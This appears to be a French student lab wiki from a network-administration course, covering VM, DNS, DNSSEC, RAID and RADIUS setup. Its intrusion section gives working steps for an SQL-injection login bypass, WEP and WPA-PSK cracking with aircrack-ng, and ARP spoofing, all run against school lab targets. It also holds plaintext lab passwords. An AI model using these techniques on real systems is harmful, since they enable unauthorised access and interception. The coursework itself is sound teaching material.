=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

== Supplémentaires ==

Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aidé mes camarades.

Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancé son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancé.

Puis, au niveau de de la sécurisation du site web par certificat et par DNSSEC.

J'ai aussi réalisé d'autres travaux comme l'utilisateur username.

Une interconnexion, j'ai connecté mes routeurs 6509 et 3560E, ils ont alors été en conflits mais les VM répondent tout de même.

J'ai aussi eu un moment une connexion avec SSID_Lulya avec mon portable sans internet ce qui est normal.

TP sysres IMA2a5 2020/2021 G7

2020-12-15T22:29:29Z

Lchenu :

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
